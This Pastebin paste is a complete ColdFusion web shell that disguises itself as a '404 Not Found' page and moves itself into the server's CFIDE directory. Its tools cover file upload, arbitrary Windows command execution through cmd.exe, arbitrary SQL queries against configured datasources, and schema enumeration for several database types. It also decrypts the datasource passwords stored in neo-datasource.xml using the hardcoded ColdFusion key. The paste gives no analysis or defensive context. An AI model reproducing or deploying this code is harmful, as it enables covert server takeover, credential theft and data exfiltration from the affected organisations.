Advertisement
Guest User

Untitled

a guest
Oct 22nd, 2014
426
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 14.75 KB | None | 0 0
  1. <cfsetting requesttimeout="9999999">
  2. <cfif right(GetCurrentTemplatePath(),3) is "txt">
  3. <cfif FileExists("#expandPath('/CFIDE')#/test.cfm")>
  4. <cffile action="delete" file="#expandPath('/CFIDE')#/test.cfm">
  5. </cfif>
  6. <cffile action="rename" source="#GetCurrentTemplatePath()#" destination="#expandPath('/CFIDE')#/test.cfm">
  7. </cfif>
  8. <html>
  9. <head>
  10. <title>404 Not Found</title>
  11. <script src="https://dase.googlecode.com/svn-history/r897/trunk/www/scripts/webtoolkit.base64.js" type="text/javascript"></script>
  12. </head>
  13. <body>
  14. <cfparam name="FORM.path" type="string" default="#expandPath(".")#\" />
  15. <h3>File Upload</h3>
  16. <cfif isDefined("fileUpload")>
  17. <cffile action="upload"
  18. fileField="fileUpload"
  19. destination="#FORM.path#"
  20. nameConflict="overwrite">
  21. <p>Thankyou, your file has been uploaded.</p>
  22. </cfif>
  23. <cfform enctype="multipart/form-data" method="post">
  24. <cfinput type="file" name="fileUpload" /><br>
  25. <cfinput type="text" name="path" size="50" value="#FORM.path#"><br>
  26. <cfinput type="submit" name="runupload" value="Upload File">
  27. </cfform>
  28. <h3>PATHES</h3>
  29. <cfset Roots=createObject("component", "CFIDE.componentutils.cfcexplorer").getComponentRoots()>
  30. <cfloop index="i" from="1" to="#ArrayLen(Roots)#">
  31. <cfif #Roots[i].prefix# eq "">
  32. <cfset Roots[i].prefix="web">
  33. </cfif>
  34. <cfset Roots[i].PHYSICALPATH=Replace(Roots[i].PHYSICALPATH,'/','\','All')>
  35. <CFOUTPUT><b>#Roots[i].prefix#</b>:#Roots[i].PHYSICALPATH#<br></CFOUTPUT>
  36. </cfloop>
  37. <cfset sys = createObject("java", "java.lang.System")>
  38. <cfif sys.getProperty("coldfusion.libPath") neq "">
  39. <cfset ConfPath=sys.getProperty("coldfusion.libPath")>
  40. <cfelse>
  41. <cfset ConfPath=Replace(sys.getProperty("derby.system.home"),'db','lib')>
  42. </cfif>
  43. <cfparam name="FORM.datasource" type="string" default="" />
  44. <cfparam name="FORM.server" type="string" default="127.0.0.1" />
  45. <cfparam name="FORM.query1" type="string" default="select user" />
  46. <cfparam name="FORM.query2" type="string" default="select user" />
  47. <cfparam name="FORM.user" type="string" default="sa" />
  48. <cfparam name="FORM.pass" type="string" default="" />
  49. <cfparam name="FORM.cmd" type="string" default="ver" />
  50. <h3>CMD</h3>
  51. <cfif IsDefined("FORM.runcmd")>
  52. <cfexecute name="cmd.exe" arguments="/c #cmd#" variable="data" timeout="999">
  53. </cfexecute>
  54. <textarea readonly cols=80 rows=20>
  55. <CFOUTPUT>#data#</CFOUTPUT>
  56. </textarea>
  57. </cfif>
  58. <cfform method="post">
  59. <cfinput type="text" size=45 name="cmd" value="#FORM.cmd#">
  60. <cfinput type="Submit" name="runcmd" value="run">
  61. </cfform>
  62. <h3>SQL CFM</h3>
  63. <cfform method="post" onSubmit="query1.value = Base64.encode(query1.value);">
  64. Datasource<br>
  65. <cffile action="READ" file="#ConfPath#/neo-datasource.xml" variable="usersRaw">
  66. <cfset usersXML = XmlParse(usersRaw)>
  67. <cfset advsXML = XmlSearch(usersXML, "/wddxPacket/data/array/struct/var/struct/var[@name='DRIVER' or @name='driver']" )>
  68. <cfset dataSourceObb = ArrayNew(1)>
  69. <cfset numUsers = ArrayLen(advsXML)>
  70. <cfloop index="i" from="1" to="#numUsers#">
  71. <cfset date_example = structNew()/>
  72. <cfset date_example.name = advsXML[i].XMLParent.XMLParent.XMLAttributes.name/>
  73. <cfset date_example.driver = advsXML[i].string.XmlText/>
  74. <cfset dataSourceObb[i] = date_example>
  75. </cfloop>
  76. <select name="datasource">
  77. <cfscript>
  78. for( i=1; i LTE ArrayLen( dataSourceObb ); i=i+1 )
  79. {
  80. if ("#FORM.datasource#" eq dataSourceObb[i].name) writeoutput('<option value="' & dataSourceObb[i].name & '" selected>' & dataSourceObb[i].name & '</option>');
  81. else writeoutput('<option value="' & dataSourceObb[i].name & '">' & dataSourceObb[i].name & '('& dataSourceObb[i].driver & ')' & '</option>');
  82. }
  83. </cfscript>
  84. </select>
  85. <cfif isdefined("form.runsql2")>
  86. <cfscript>
  87. FORM.query1 = ToString(BinaryDecode("#FORM.query1#" , "base64"));
  88. </cfscript>
  89. <cfquery name="sqlout" datasource="#Form.datasource#" timeout="99999999">#PreserveSingleQuotes(Form.query1)#</cfquery>
  90. <table border=1>
  91. <cfloop from="0" to="#sqlout.RecordCount#" index="row">
  92. <cfset intCount = 0 />
  93. <cfif row eq 0>
  94. <tr>
  95. <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
  96. <th><cfoutput>#column#</cfoutput></th>
  97. </cfloop>
  98. </tr>
  99. <cfelse>
  100. <tr>
  101. <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
  102. <td><cfoutput>#rereplace(sqlout[column][row],"\r\n|\n\r|\n|\r", " ", "all")#</cfoutput></td>
  103. </cfloop>
  104. </tr>
  105. </cfif>
  106. </cfloop>
  107. </table>
  108. </cfif>
  109. <cfif isdefined("form.tofile2")>
  110. <cfscript>
  111. FORM.query1 = ToString(BinaryDecode("#FORM.query1#" , "base64"));
  112. </cfscript>
  113. <cfquery name="sqlout" datasource="#Form.datasource#" timeout="99999999">#PreserveSingleQuotes(Form.query1)#</cfquery>
  114. <br>DONE</br>
  115. <table border=1>
  116. <cfloop from="0" to="#sqlout.RecordCount#" index="row">
  117. <cfif row eq 0>
  118. <cffile action="write" addNewLine="yes" file="#Form.sqloutput#" output="#sqlout.ColumnList#">
  119. <cfelse>
  120. <cfset myArray = ArrayNew(1)>
  121. <cfset i = 1 >
  122. <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
  123. <cfset myArray[i]=TRIM(sqlout[column][row])>
  124. <cfset i = i + 1>
  125. </cfloop>
  126. <cffile action="append" addNewLine="yes" file="#Form.sqloutput#" output="#ArrayToList(myArray,',')#">
  127. </cfif>
  128. </cfloop>
  129. </table>
  130. </cfif>
  131. <br>Query<br>
  132. <cfinput type="Text" name="query1" size="50" value="#FORM.query1#"><br>
  133. <cfinput type=Submit name="runsql2" value="run"><br><br>
  134. <cfinput type="text" name="sqloutput" size="50" value="#FORM.path#sqlout.txt"><br>
  135. <cfinput type=Submit name="tofile2" value="tofile">
  136. </cfform>
  137. <h3>SQL SCTRUCT</h3>
  138. <cfform method="post">
  139. Datasource<br>
  140. <select name="datasource">
  141. <cfscript>
  142. for( i=1; i LTE ArrayLen( dataSourceObb ); i=i+1 )
  143. {
  144. if ("#FORM.datasource#" eq dataSourceObb[i].name) writeoutput('<option value="' & dataSourceObb[i].name & '" selected>' & dataSourceObb[i].name & '</option>');
  145. else writeoutput('<option value="' & dataSourceObb[i].name & '">' & dataSourceObb[i].name & '('& dataSourceObb[i].driver & ')' & '</option>');
  146. }
  147. </cfscript>
  148. </select>
  149. <cfinput type=Submit name="structure1" value="mssql"> <cfinput type=Submit name="structure2" value="mysql"> <cfinput type=Submit name="structure3" value="oracle"> <cfinput type=Submit name="structure4" value="informix"> <cfinput type=Submit name="structure5" value="postgre">
  150. </cfform>
  151. <cfif isdefined("form.structure1")>
  152. <cfset MyDSN = "#Form.datasource#">
  153. <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
  154. SELECT name as DATABASE_NAME FROM MASTER.dbo.sysdatabases WHERE name NOT IN ('master','msdb','tempdb')
  155. </cfquery>
  156. <cfloop query="databases">
  157. <cftry>
  158. <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
  159. SELECT [TableName] = so.name,[RowCount] = MAX(si.rows) FROM [#databases.DATABASE_NAME#]..sysobjects so, [#databases.DATABASE_NAME#]..sysindexes si WHERE so.xtype = char(85) AND si.id = OBJECT_ID(so.name) GROUP BY so.name ORDER BY 2 DESC
  160. </cfquery>
  161. <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
  162. <cfloop query="AllTables">
  163. <cfset intCount = 0 />
  164. <cfset myTable = #AllTables.TableName# />
  165. <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
  166. SELECT * FROM [#databases.DATABASE_NAME#].INFORMATION_SCHEMA.Columns WHERE TABLE_NAME = '#myTable#'
  167. </cfquery>
  168. <cfloop query="ColumnsInTable">
  169. <cfset intCount = intCount + 1>
  170. <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
  171. </cfloop>
  172. <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
  173. <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
  174. </cfloop>
  175. <cfcatch type = "Database">
  176. </cfcatch>
  177. </cftry>
  178. </cfloop>
  179. </cfif>
  180. <cfif isdefined("form.structure2")>
  181. <cfset MyDSN = "#Form.datasource#">
  182. <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
  183. SELECT SCHEMA_NAME AS DATABASE_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME NOT IN('information_schema','mysql')
  184. </cfquery>
  185. <cfloop query="databases">
  186. <cftry>
  187. <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
  188. SELECT TABLE_NAME,TABLE_ROWS AS RowCount FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='#databases.DATABASE_NAME#' ORDER BY TABLE_ROWS DESC
  189. </cfquery>
  190. <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
  191. <cfloop query="AllTables">
  192. <cfset intCount = 0 />
  193. <cfset myTable = #AllTables.TABLE_NAME# />
  194. <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
  195. SELECT * FROM INFORMATION_SCHEMA.Columns WHERE TABLE_NAME = '#myTable#' AND TABLE_SCHEMA='#databases.DATABASE_NAME#'
  196. </cfquery>
  197. <cfloop query="ColumnsInTable">
  198. <cfset intCount = intCount + 1>
  199. <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
  200. </cfloop>
  201. <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
  202. <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
  203. </cfloop>
  204. <cfcatch type = "Database">
  205. </cfcatch>
  206. </cftry>
  207. </cfloop>
  208. </cfif>
  209. <cfif isdefined("form.structure3")>
  210. <cfset MyDSN = "#Form.datasource#">
  211. <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
  212. select USERNAME AS DATABASE_NAME from SYS.ALL_USERS WHERE USERNAME not in ('SYSTEM','SYS') order by USERNAME
  213. </cfquery>
  214. <cfloop query="databases">
  215. <cftry>
  216. <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
  217. select TABLE_NAME,NUM_ROWS AS RowCount from SYS.ALL_TABLES WHERE OWNER='#databases.DATABASE_NAME#' order by NUM_ROWS DESC
  218. </cfquery>
  219. <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
  220. <cfloop query="AllTables">
  221. <cfset intCount = 0 />
  222. <cfset myTable = #AllTables.TABLE_NAME# />
  223. <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
  224. SELECT column_name from all_tab_columns where owner='#databases.DATABASE_NAME#' and TABLE_NAME = '#myTable#'
  225. </cfquery>
  226. <cfloop query="ColumnsInTable">
  227. <cfset intCount = intCount + 1>
  228. <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
  229. </cfloop>
  230. <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
  231. <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
  232. </cfloop>
  233. <cfcatch type = "Database">
  234. </cfcatch>
  235. </cftry>
  236. </cfloop>
  237. </cfif>
  238. <cfif isdefined("form.structure4")>
  239. <cfset MyDSN = "#Form.datasource#">
  240. <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
  241. select distinct OWNER AS DATABASE_NAME from SYSTABLES
  242. </cfquery>
  243. <cfloop query="databases">
  244. <cftry>
  245. <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
  246. select TABNAME AS TABLE_NAME,NROWS AS RowCount,TABID from SYSTABLES WHERE OWNER='#databases.DATABASE_NAME#' order by NROWS DESC
  247. </cfquery>
  248. <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
  249. <cfloop query="AllTables">
  250. <cfset intCount = 0 />
  251. <cfset myTable = #AllTables.TABLE_NAME# />
  252. <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
  253. SELECT colname as column_name from SYSCOLUMNS where TABID = '#AllTables.TABID#'
  254. </cfquery>
  255. <cfloop query="ColumnsInTable">
  256. <cfset intCount = intCount + 1>
  257. <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
  258. </cfloop>
  259. <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
  260. <cfoutput><b>#myTable#</b> (#AllTables.RowCount#)<br>#myColumns#<br></cfoutput>
  261. </cfloop>
  262. <cfcatch type = "Database">
  263. </cfcatch>
  264. </cftry>
  265. </cfloop>
  266. </cfif>
  267. <cfif isdefined("form.structure5")>
  268. <cfset MyDSN = "#Form.datasource#">
  269. <cfquery name="databases" datasource="#MyDSN#" timeout="9999999">
  270. SELECT SCHEMA_NAME AS DATABASE_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE SCHEMA_NAME NOT IN('pg_catalog','information_schema')
  271. </cfquery>
  272. <cfloop query="databases">
  273. <cftry>
  274. <cfquery name="AllTables" datasource="#MyDSN#" timeout="9999999">
  275. SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='#databases.DATABASE_NAME#'
  276. </cfquery>
  277. <cfoutput><h3>======== #databases.DATABASE_NAME# ========</h3></cfoutput>
  278. <cfloop query="AllTables">
  279. <cfset intCount = 0 />
  280. <cfset myTable = #AllTables.TABLE_NAME# />
  281. <cfquery name="ColumnsInTable" datasource="#MyDSN#" timeout="9999999">
  282. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '#myTable#' AND TABLE_SCHEMA='#databases.DATABASE_NAME#'
  283. </cfquery>
  284. <cfquery name="CountInTable" datasource="#MyDSN#" timeout="9999999">
  285. SELECT count(*) as RowCount FROM "#databases.DATABASE_NAME#"."#myTable#"
  286. </cfquery>
  287. <cfloop query="ColumnsInTable">
  288. <cfset intCount = intCount + 1>
  289. <cfset colArray[intCount]="#TRIM(COLUMN_NAME)#">
  290. </cfloop>
  291. <cfset myColumns = valueList(columnsInTable.column_name,'<br>')>
  292. <cfoutput><b>#myTable#</b> (#CountInTable.RowCount#)<br>#myColumns#<br></cfoutput>
  293. </cfloop>
  294. <cfcatch type = "Database">
  295. <h1>Database Error</h1>
  296. </cfcatch>
  297. </cftry>
  298. </cfloop>
  299. </cfif>
  300. <h3>SQL JAVA</h3>
  301. <cfif IsDefined("FORM.decode")>
  302. <cffile action="READ" file="#ConfPath#/neo-datasource.xml" variable="usersRaw">
  303. <cfset usersXML = XmlParse(usersRaw)>
  304. <cfset advsXML = XmlSearch(usersXML, "/wddxPacket/data/array/struct/var/struct/var[@name='password' or @name='PASSWORD' or @name='username'or @name='USERNAME' or @name='url'or @name='URL' or @name='DRIVER' or @name='driver']" )>
  305. <cfset numUsers = ArrayLen(advsXML)>
  306. <cfloop index="i" from="1" to="#numUsers#">
  307. <cfif advsXML[i].XMLAttributes.name eq "password" AND advsXML[i].string.XmlText neq "">
  308. <cfset advsXML[i].string.XmlText=Decrypt(advsXML[i].string.XmlText,generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede","Base64")>
  309. </cfif>
  310. <cfoutput>
  311. #advsXML[i].XMLParent.XMLParent.XMLAttributes.name#:#advsXML[i].XMLAttributes.name#:#advsXML[i].string.XmlText#<br>
  312. </cfoutput>
  313. </cfloop>
  314. </cfif>
  315. <cfform method="post">
  316. <cfinput type=Submit name="decode" value="decode"><br>
  317. </cfform>
  318. <cfform method="post" onSubmit="query2.value = Base64.encode(query2.value);">
  319. Server<br>
  320. <cfinput type="Text" name="server" size="50" value="#FORM.server#"><br>
  321. User<br>
  322. <cfinput type="Text" name="user" size="50" value="#FORM.user#"><br>
  323. Pass<br>
  324. <cfinput type="Text" name="pass" size="50" value="#FORM.pass#"><br>
  325. <cfif IsDefined("FORM.runsql")>
  326. <cfscript>
  327. FORM.query2 = ToString(BinaryDecode("#FORM.query2#" , "base64"));
  328. </cfscript>
  329. <cfoutput>
  330. #FORM.query2#
  331. </cfoutput>
  332. <cfscript>
  333. classLoader = createObject("java", "java.lang.Class");
  334. classLoader.forName("sun.jdbc.odbc.JdbcOdbcDriver");
  335. dm = createObject("java","java.sql.DriverManager");
  336. con = dm.getConnection("jdbc:odbc:DRIVER={SQL Server};Database=master;Server=#FORM.server#","#FORM.user#","#FORM.pass#");
  337. st = con.createStatement();
  338. rs = st.ExecuteQuery(#FORM.query2#);
  339. q = createObject("java", "coldfusion.sql.QueryTable").init(rs);
  340. </cfscript>
  341. <cfdump var="#q#">
  342. </cfif>
  343. Query<br>
  344. <cfinput type="Text" name="query2" size="50" value="#FORM.query2#"><br>
  345. <cfinput type=Submit name="runsql" value="run">
  346. </cfform>
  347. </body>
  348. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement